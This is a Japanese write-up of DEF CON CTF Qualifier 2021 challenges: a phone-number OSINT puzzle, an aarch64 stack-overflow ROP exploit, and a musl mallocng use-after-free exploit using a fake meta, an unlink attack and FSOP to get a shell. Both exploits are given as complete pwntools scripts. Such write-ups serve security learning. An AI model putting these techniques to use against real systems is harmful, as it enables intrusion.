DEF CON CTF Qualifier 2021 Writeup
say-hellooo, mra, moooslを解いて66位でした。
[☎️ 101pts] say-hellooo
@Zardus の電話番号を特定して電話する問題。Twitterにホームページへのリンク、そのホームページにメールアドレスがあり、メールアドレスで検索すると電話番号が特定できた。電話すると本人かはわからないけど "Hacker!" とか言いながらフラグを教えてくれた(流石に録音だよな)
[🦾 114pts] mra
Aarch64のバイナリが渡される。
$ file mra mra: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), statically linked, stripped $ checksec mra [*] '/home/vagrant/ctf/defconctf/2021/mra/mra' Arch: aarch64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
"GET /api/isodd/" + 文字列を渡すとURIデコードしてその文字列が奇数かどうか判定してる。
$ qemu-aarch64-static ./mra GET /api/isodd/1%ff HTTP/1.1 200 OK Content-Type: application/json Content-Length: 76 { "isodd": true, "ad": "Buy isOddCoin, the hottest new cryptocurrency!" }
デコードしている部分を見ると"%"の後ろ2bytesを16進表記と読み取っているがnulの判定をしていないため、この直前にあるstrlen(str) <= 12
と整合性が取れなくなりSBOFする。
ulonglong decode_uri_component(char *param_1,char *id) { uint uVar1; char *id_p; char *buf; byte c; uint j; int i; i = 0; j = 0; while (c = id[(longlong)i], c != 0) { if (c == 0x25) { uVar1 = hex2int((ulonglong)(byte)id[(longlong)i + 1]); c = hex2int((ulonglong)(byte)id[(longlong)i + 2]); c = (byte)((uVar1 & 0xff) << 4) | c; i = i + 3; } else { i = i + 1; } param_1[(longlong)(int)j] = c; j = j + 1; } return (ulonglong)j; }
スタックが上位アドレス方向に伸びているため、param_1
で起きたオーバーフローは上の関数のスタックフレームを侵食することになり、戻り番地を書き換えられる。
ropperを使ってROP gadgetを探すと使えそうなものがいくつか見つかる。
0x0000000000400bf8: sub sp, sp, #0x190; ret; 0x0000000000400cb4: ldur x3, [sp, #0xfffffffffffffff0]; ldur x2, [sp, #0xffffffffffffffd8]; ldur w1, [sp, #0xffffffffffffffe4]; ldur x0, [sp, #0xffffffffffffffe8]; blr x3; (+ ldp x29, x30, [sp, #-64]; sub sp, sp, #0x40; ret) 0x0000000000406558: ldur x8, [sp, #0xfffffffffffffff8]; ldur x0, [sp, #0xfffffffffffffff0]; svc #0; sub sp, sp, #0x10; ret;
これらを使って上の関数で言うparam_1
の位置までspを戻してから read(0, bss + 0x400, 0x100); execve(bss + 0x400, NULL, NULL)
を実行するようなROPを組むとシェルを起動できる。
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: s = process('qemu-aarch64-static mra', shell=True) elif sys.argv[1] == 'gdb': s = process('qemu-aarch64-static -g 1234 mra', shell=True) else: s = remote('mra.challenges.ooo', 8000) ''' 0x0000000000400bf8: sub sp, sp, #0x190; ret; 0x0000000000400cb4: ldur x3, [sp, #0xfffffffffffffff0]; ldur x2, [sp, #0xffffffffffffffd8]; ldur w1, [sp, #0xffffffffffffffe4]; ldur x0, [sp, #0xffffffffffffffe8]; blr x3; (+ ldp x29, x30, [sp, #-64]; sub sp, sp, #0x40; ret) 0x0000000000406558: ldur x8, [sp, #0xfffffffffffffff8]; ldur x0, [sp, #0xfffffffffffffff0]; svc #0; sub sp, sp, #0x10; ret; ''' bss = 0x41d000 pop_x3_x2_w1_x0_blr_x3 = 0x400cb4 pop_x8_x0_svc = 0x406558 sub_sp_190 = 0x400bf8 read = 0x4064f8 ret = 0x4001cc rop = b'' rop += p64(sub_sp_190) # x3 rop += b'A' * 0x10 rop += p64(pop_x3_x2_w1_x0_blr_x3) rop2 = b'' # execve("/bin/sh", NULL, NULL) rop2 += p64(bss + 0x400) # x0 rop2 += p64(221) # x8 rop2 += p64(0) rop2 += p64(pop_x8_x0_svc) rop2 += p64(0) rop2 += p64(0) # x2 rop2 += p32(0) rop2 += p32(0) # w1 rop2 += p64(0) # x0 rop2 += p64(ret) # x3 rop2 += p64(0) * 2 rop2 += p64(pop_x3_x2_w1_x0_blr_x3) rop2 += p64(0) # read(0, bss + 0x400, 0x100) rop2 += p64(0x100) # x2 rop2 += p32(0) rop2 += p32(bss + 0x400) # w1 rop2 += p64(0) # x0 rop2 += p64(read) # x3 rop2 += p64(0) * 2 rop2 += p64(pop_x3_x2_w1_x0_blr_x3) payload = b'' payload += b'GET /api/isodd/' payload += b'%\0' payload += rop.rjust(0x78, b'A').replace(b'%', b'%25').replace(b'\0', b'%00') payload += rop2.rjust(0x2a8 - len(payload), b'A') s.send(payload) time.sleep(0.1) s.send('/bin/sh\0') s.interactive()
$ ./exploit.py remote [+] Opening connection to mra.challenges.ooo on port 8000: Done [*] Switching to interactive mode $ cat flag OOO{the_0rder_0f_0verflow_is_0dd}
[💪 177pts] mooosl
バイナリとmusl libcが与えられる。
$ file mooosl mooosl: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-x86_64.so.1, stripped $ checksec --file=mooosl RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols Yes 0 2mooosl $ ./libc.so musl libc (x86_64) Version 1.2.2 Dynamic Program Loader Usage: ./libc.so [options] [--] pathname [args]
実行してみるとkeyとvalueのmapに対して3つの操作ができる。
$ ./libc.so ./mooosl 1: store 2: query 3: delete 4: exit option: 1 key size: 10 key content: AAA value size: 20 value content: BBB ok 1: store 2: query 3: delete 4: exit option: 2 key size: 10 key content: AAA 0x3:424242 ok 1: store 2: query 3: delete 4: exit option: 3 key size: 10 key content: AAA ok 1: store 2: query 3: delete 4: exit option:
- store: keyとvalueを入力してhash mapに入れる
typedef struct Item { char *key_content; char *value_content; unsigned long key_size; unsigned long value_size; unsigned int hash; struct Item *next; } Item; Item *hash_map[0x1000]; void store(void) { Item *pIVar1; uint uVar2; Item *local_RAX_22; ulong uVar3; local_RAX_22 = (Item *)calloc(1,0x30); uVar3 = get_key((char **)local_RAX_22); local_RAX_22->key_size = uVar3; uVar3 = get_value(&local_RAX_22->value_content); local_RAX_22->value_size = uVar3; uVar3 = get_hash(local_RAX_22->key_content,local_RAX_22->key_size); local_RAX_22->hash = uVar3 & 0xffffffff; uVar2 = (uint)local_RAX_22->hash & 0xfff; pIVar1 = hash_map[(ulong)uVar2]; hash_map[(ulong)uVar2] = local_RAX_22; local_RAX_22->next = pIVar1; puts("ok"); return; } long get_hash(char *param_1,ulong param_2) { int i; long local_10; local_10 = 0x7e5; i = 0; while ((ulong)(long)i < param_2) { local_10 = (ulong)(byte)param_1[(long)i] + local_10 * 0x13377331; i = i + 1; } return local_10; }
- query: keyを入力して対応するvalueを出力する
void query(void) { long lVar1; ulong len; Item *maybe_item; long in_FS_OFFSET; char *query; lVar1 = *(long *)(in_FS_OFFSET + 0x28); query = (char *)0x0; len = get_key(&query); maybe_item = find(query,len); if (maybe_item == (Item *)0x0) { puts("err"); } else { dump_value(maybe_item->value_content,maybe_item->value_size); puts("ok"); } free(query); if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; } Item * find(char *query,ulong len) { int iVar1; ulong hash; Item *current; hash = get_hash(query,len); current = hash_map[(ulong)((uint)(hash & 0xffffffff) & 0xfff)]; while( true ) { if (current == (Item *)0x0) { return (Item *)0x0; } if ((((hash & 0xffffffff) == current->hash) && (len == current->key_size)) && (iVar1 = memcmp(query,current->key_content,len), iVar1 == 0)) break; current = current->next; } return current; }
- delete: keyを入力してhash mapから取り除く。ここにUAFの脆弱性があり、
find
で見つけてきたものがhash mapのリストの最後尾にある場合にリストから外されることなくfreeされる。(maybe_item->next != NULL
ではなく(*current)->next != NULL
でなければいけない(そもそもこのif文はいらない))
void delete(void) { long lVar1; ulong len; Item *maybe_item; long in_FS_OFFSET; char *query; Item **current; lVar1 = *(long *)(in_FS_OFFSET + 0x28); query = (char *)0x0; len = get_key(&query); maybe_item = find(query,len); if (maybe_item == (Item *)0x0) { puts("err"); } else { current = hash_map + (ulong)((uint)maybe_item->hash & 0xfff); if ((maybe_item == *current) || (maybe_item->next != (Item *)0x0)) { // vulnerability while (maybe_item != *current) { current = &(*current)->next; } *current = maybe_item->next; } free(maybe_item->key_content); free(maybe_item->value_content); free(maybe_item); puts("ok"); } free(query); if (lVar1 == *(long *)(in_FS_OFFSET + 0x28)) { return; } /* WARNING: Subroutine does not return */ __stack_chk_fail(); }
musl libcのmalloc実装の概要
これで脆弱性がわかったわけだが渡されているlibcのバージョンではmallocng (malloc next generation)というglibcのmallocとは全く違う実装がされている(ソースコード)*1。
図で簡単に説明するとmalloc_context
にサイズ毎のbinがあり、それぞれのbinにはchunkを管理するmeta
のリストと実際にmalloc
で返されるchunkがあるgroup
から成り立っている。group
にあるchunkは全て同じサイズであり、mmapやbrkで独立に領域が確保されるためglibcにあるようなconsolidateは起こらない。
struct malloc_context { uint64_t secret; #ifndef PAGESIZE size_t pagesize; #endif int init_done; unsigned mmap_counter; struct meta *free_meta_head; struct meta *avail_meta; size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift; struct meta_area *meta_area_head, *meta_area_tail; unsigned char *avail_meta_areas; struct meta *active[48]; size_t usage_by_class[48]; uint8_t unmap_seq[32], bounces[32]; uint8_t seq; uintptr_t brk; }; struct meta { struct meta *prev, *next; struct group *mem; volatile int avail_mask, freed_mask; uintptr_t last_idx:5; uintptr_t freeable:1; uintptr_t sizeclass:6; uintptr_t maplen:8*sizeof(uintptr_t)-12; }; struct group { struct meta *meta; unsigned char active_idx:5; char pad[UNIT - sizeof(struct meta *) - 1]; unsigned char storage[]; };
また、free
したときにgroup
にある全てのchunkがfreeされている(又は全てのchunkが使われている)場合に、meta
のリストから削除する dequeue
(又はリストに追加する queue
)というロジックがあるため偽のmeta
を作ることによりunlink attackをしたり任意のアドレスをmalloc
に返させることができる(詳細は後で)。
したがって、攻撃の流れは
- hash mapのリストの長さを2以上にして最後の要素を削除することでUAFを起こす
- UAFを使ってアドレスをリークする
- heapを壊さないための前準備
- 偽の
meta
とgroup
を作ってfree
し、calloc
にstdout
を返させてFSOP
アドレスのリーク
まずchunkがどの順番で取り出されるか知る必要があるのでここで簡単にmallocとfreeの流れを説明する。
malloc
- 入力サイズを基に適切なbin(
active
)を見つける avail_mask
(使用可能なchunkを示すbitmap)からchunkを選ぶ(indexが小さいものが優先されることに注意)avail_mask
になければfreed_mask
をavail_mask
に移してもう一度探す- それでもなければ次の
meta
を見る又は新しいmeta
を作る(3との前後関係は曖昧) avail_mask
から使うchunkに対応するbitを消す- アドレスを返す
free(void *p)
p[-3]& 31
がgroup
内のindexなのでそれを基にgroup
のアドレスとmeta
のアドレスを求めるmeta
をdequeue
するかqueue
するか判断し、必要がなかった場合free_mask
にchunkに対応するbitをセットする
Item
を確保するときに必要なサイズ0x30に対応するmeta
のavail_mask
の初期値をgdbで確認したところ0x7f
であったため、chunkは計7個あることになる。よってstore(key_size=0x10, value_size=0x10)
を呼んだ後の状態は以下のようになる(Aをavailable, Fをfreed, Uをusedと表すことにする)
AAAAAAU
次にquery(key_size=0x30)
を呼ぶと0x30が確保されてすぐにfree
されるので
AAAAAFU
となる。これを5回繰り返し
AFFFFFU
としてからX = store(key_size=0x10, value_size=0x30)
を呼ぶと1番左がItem
に割り当てられてからfreed_mask
がavail_mask
に移され、右から2番目がvalueに割り当てられる。
UAAAAUU
この状態でX
と同じhash値になるようなkeyを探して確保してからX
を削除するとhash mapに参照が保たれたままfree
される。
FAAAUFU
よってこの右から2番目のchunkに何かのアドレスが来るようにすればリークができ、X
がある1番左のchunkを書き換えれば任意のアドレスでfree
することもできる。
偽のmetaとgroupを作る
free
内で呼ばれるnontrivial_free
を見てみると、g->freed_mask | g->avail_mask
が0つまり全てのchunkが使われている状態のときにqueue
でmeta
(ここではg
)をmeta
のリストに入れている。よって偽のmetaとgroupを持ったchunkをfree
することで偽のmetaがmalloc_context
から参照され、任意のアドレスをmalloc
で返させることができる。
static struct mapinfo nontrivial_free(struct meta *g, int i) { uint32_t self = 1u<<i; int sc = g->sizeclass; uint32_t mask = g->freed_mask | g->avail_mask; if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g)) { ... } else if (!mask) { assert(sc < 48); // might still be active if there were no allocations // after last available slot was taken. if (ctx.active[sc] != g) { queue(&ctx.active[sc], g); } } a_or(&g->freed_mask, self); return (struct mapinfo){ 0 }; }
最終目標はcalloc
にstdout
を返させることだが、free
の途中のget_meta
で厳しめのvalidationがあるためまずはvalidな偽のmetaとgroupを作り、後からstdout
を返すように上書きすることにする。
static inline struct meta *get_meta(const unsigned char *p) { ... const struct meta *meta = base->meta; assert(meta->mem == base); ... const struct meta_area *area = (void *)((uintptr_t)meta & -4096); assert(area->check == ctx.secret); ... return (struct meta *)meta; }
meta->mem
のcheckに加えて、meta
があるpageの先頭にcxt.secret
があるかの確認もしているのであらかじめ値をリークしておいてalignmentが合うように配置する。chunkのサイズはmeta->scで指定できるのでsize_classes
を使って今回使うサイズ0x90に対応するindexの8を偽のmetaに含めた。
const uint16_t size_classes[] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 12, 15, 18, 20, 25, 31, 36, 42, 50, 63, 72, 84, 102, 127, 146, 170, 204, 255, 292, 340, 409, 511, 584, 682, 818, 1023, 1169, 1364, 1637, 2047, 2340, 2730, 3276, 4095, 4680, 5460, 6552, 8191, };
sc = 8 # 0x90 bytes last_idx = 1 fake_meta = b'' fake_meta += p64(0) # prev fake_meta += p64(0) # next fake_meta += p64(fake_group_addr) # mem fake_meta += p32(0) + p32(0) # avail_mask, freed_mask fake_meta += p64((sc << 6) | last_idx) fake_meta += p64(0) fake_group = b'' fake_group += p64(fake_meta_addr) # meta fake_group += p32(1) # active_idx fake_group += p32(0) payload = b'' payload += b'A' * 0xa90 payload += p64(secret) + p64(0) payload += fake_meta payload += fake_mem query(key=payload, key_size=0x1200)
queryは領域を確保してからすぐfree
するので、もう1度同じサイズで確保すれば同じ領域が返ってきて内容を上書きできる。これを使ってmeta->mem
をstdout-0x10
に変えてからcalloc(0x80)
を呼べばstdout
が返ってきてFSOPに持ち込める。
unlink attack
しかし、calloc
はmeta->mem
がmeta
(又は条件を満たした別のもの)へのポインタを持つこと前提にしているため前準備なしでは上の方法は動かない(malloc
だったら大丈夫)。そのため、meta
のdequeue
を使ったunlink attackでstdout-0x10
にあらかじめそのアドレスを書き込んでおく必要がある。もう1度nontrivial_free
を見るとmask+self == (2u<<g->last_idx)-1
つまり全てのchunkがfreeされている状態だとdequeue
が呼ばれる(正確にはokay_to_free
に1を返させる条件もあるが(meta->freeable, meta->maplenなど)詳しくは最終的なexploitを参照)。dequeue
された後にfree
内でmeta
がmunmap
されるがこれは失敗しても問題ないので成功するようにmeta
のアドレスを調整するなどの必要はない。
static struct mapinfo nontrivial_free(struct meta *g, int i) { uint32_t self = 1u<<i; int sc = g->sizeclass; uint32_t mask = g->freed_mask | g->avail_mask; if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g)) { // any multi-slot group is necessarily on an active list // here, but single-slot groups might or might not be. if (g->next) { assert(sc < 48); int activate_new = (ctx.active[sc]==g); dequeue(&ctx.active[sc], g); if (activate_new && ctx.active[sc]) activate_group(ctx.active[sc]); } return free_group(g); } else if (!mask) { ... } a_or(&g->freed_mask, self); return (struct mapinfo){ 0 }; }
dequeue
は以下のようになっているため、prev = stdout - 0x18, next = addr
(addr
はm
以外のアドレス)としておけばstdout-0x10
に偽のmetaのアドレスが書き込まれる。
static inline void dequeue(struct meta **phead, struct meta *m) { if (m->next != m) { m->prev->next = m->next; m->next->prev = m->prev; if (*phead == m) *phead = m->next; } else { *phead = 0; } m->prev = m->next = 0; }
これで準備が整ったので最後にFSOPでsystem("/bin/sh")
を呼び出す。
#!/usr/bin/env python3 from pwn import * import random import string import codecs if len(sys.argv) == 1: s = process('./libc.so ./mooosl', shell=True) else: s = remote('mooosl.challenges.ooo', 23333) def store(key_content, value_content, key_size=None, value_size=None, wait=True): s.sendlineafter('option: ', '1') if key_size is None: key_size = len(key_content) s.sendlineafter('size: ', str(key_size)) s.sendafter('content: ', key_content) if value_size is None: value_size = len(value_content) s.sendlineafter('size: ', str(value_size)) if wait: s.recvuntil('content: ') s.send(value_content) def query(key_content, key_size=None, wait=True): s.sendlineafter('option: ', '2') if key_size is None: key_size = len(key_content) s.sendlineafter('size: ', str(key_size)) if wait: s.recvuntil('content: ') s.send(key_content) def delete(key_content, key_size=None): s.sendlineafter('option: ', '3') if key_size is None: key_size = len(key_content) s.sendlineafter('size: ', str(key_size)) s.sendafter('content: ', key_content) def get_hash(content): x = 0x7e5 for c in content: x = ord(c) + x * 0x13377331 return x & 0xfff def find_key(length=0x10, h=0x7e5): while True: x = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length)) if get_hash(x) == h: return x libc = ELF('./libc.so') store('A', 'A') for _ in range(5): query('A' * 0x30) store('\n', 'A' * 0x30) store(find_key(), 'A') delete('\n') for _ in range(3): query('A' * 0x30) store('A\n', 'A', 0x1200) query('\n') res = codecs.decode(s.recvline(False).split(b':')[1], 'hex') mmap_base = u64(res[:8]) - 0x20 log.info('mmap base: %#x' % mmap_base) chunk_addr = u64(res[8:0x10]) log.info('chunk address: %#x' % chunk_addr) for _ in range(3): query('A' * 0x30) query(p64(0) + p64(chunk_addr - 0x60) + p64(0) + p64(0x20) + p64(0x7e5) + p64(0)) query('\n') heap_base = u64(codecs.decode(s.recvline(False).split(b':')[1], 'hex')[:8]) - 0x1d0 log.info('heap base: %#x' % heap_base) for _ in range(3): query('A' * 0x30) query(p64(0) + p64(heap_base + 0xf0) + p64(0) + p64(0x200) + p64(0x7e5) + p64(0)) query('\n') libc.address = u64(codecs.decode(s.recvline(False).split(b':')[1], 'hex')[:8]) - 0xb7040 log.info('libc base: %#x' % libc.address) for _ in range(3): query('A' * 0x30) query(p64(0) + p64(next(libc.search(b'/bin/sh\0'))) + p64(0) + p64(0x20) + p64(0x7e5) + p64(0)) query('\n') assert codecs.decode(s.recvline(False).split(b':')[1], 'hex')[:8] == b'/bin/sh\0' for _ in range(3): query('A' * 0x30) query(p64(0) + p64(heap_base) + p64(0) + p64(0x20) + p64(0x7e5) + p64(0)) query('\n') secret = u64(codecs.decode(s.recvline(False).split(b':')[1], 'hex')[:8]) log.info('secret: %#x' % secret) fake_meta_addr = mmap_base + 0x2010 fake_mem_addr = mmap_base + 0x2040 stdout = libc.address + 0xb4280 # Overwrite stdout-0x10 to fake_meta_addr using dequeue during free sc = 8 # 0x90 freeable = 1 last_idx = 0 maplen = 1 fake_meta = b'' fake_meta += p64(stdout - 0x18) # prev fake_meta += p64(fake_meta_addr + 0x30) # next fake_meta += p64(fake_mem_addr) # mem fake_meta += p32(0) + p32(0) # avail_mask, freed_mask fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx) fake_meta += p64(0) fake_mem = b'' fake_mem += p64(fake_meta_addr) # meta fake_mem += p32(1) # active_idx fake_mem += p32(0) payload = b'' payload += b'A' * 0xaa0 payload += p64(secret) + p64(0) payload += fake_meta payload += fake_mem payload += b'\n' for _ in range(2): query('A' * 0x30) query(payload, 0x1200) store('A', p64(0) + p64(fake_mem_addr + 0x10) + p64(0) + p64(0x20) + p64(0x7e5) + p64(0)) delete('\n') # Create a fake bin using enqueue during free sc = 8 # 0x90 last_idx = 1 fake_meta = b'' fake_meta += p64(0) # prev fake_meta += p64(0) # next fake_meta += p64(fake_mem_addr) # mem fake_meta += p32(0) + p32(0) # avail_mask, freed_mask fake_meta += p64((sc << 6) | last_idx) fake_meta += p64(0) fake_mem = b'' fake_mem += p64(fake_meta_addr) # meta fake_mem += p32(1) # active_idx fake_mem += p32(0) payload = b'' payload += b'A' * 0xa90 payload += p64(secret) + p64(0) payload += fake_meta payload += fake_mem payload += b'\n' query('A' * 0x30) query(payload, 0x1200) store('A', p64(0) + p64(fake_mem_addr + 0x10) + p64(0) + p64(0x20) + p64(0x7e5) + p64(0)) delete('\n') # Overwrite the fake bin so that it points to stdout fake_meta = b'' fake_meta += p64(fake_meta_addr) # prev fake_meta += p64(fake_meta_addr) # next fake_meta += p64(stdout - 0x10) # mem fake_meta += p32(1) + p32(0) # avail_mask, freed_mask fake_meta += p64((sc << 6) | last_idx) fake_meta += b'A' * 0x18 fake_meta += p64(stdout - 0x10) payload = b'' payload += b'A' * 0xa80 payload += p64(secret) + p64(0) payload += fake_meta payload += b'\n' query(payload, 0x1200) # Call calloc(0x80) which returns stdout and call system("/bin/sh") by overwriting vtable payload = b'' payload += b'/bin/sh\0' payload += b'A' * 0x20 payload += p64(heap_base + 1) payload += b'A' * 8 payload += p64(heap_base) payload += b'A' * 8 payload += p64(libc.symbols['system']) payload += b'A' * 0x3c payload += p32((1<<32)-1) payload += b'\n' store('A', payload, value_size=0x80, wait=False) s.interactive()
$ ./exploit.py remote [+] Opening connection to mooosl.challenges.ooo on port 23333: Done [*] '/home/vagrant/ctf/defconctf/2021/mooosl/libc.so' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] mmap base: 0x7fa17f82f000 [*] chunk address: 0x5617710c5cb0 [*] heap base: 0x561772bb3000 [*] libc base: 0x7fa17f833000 [*] secret: 0xe1891c473279786c [*] Switching to interactive mode $ cat flag OOO{Hello! Mr. Feng Shui}
*1:LD_PRELOADが効かないことに気づかず手元にあった古いバージョン(1.1.19)で解いてしまったのはここだけの話(事あるごとにリモートで動くか確認しましょう)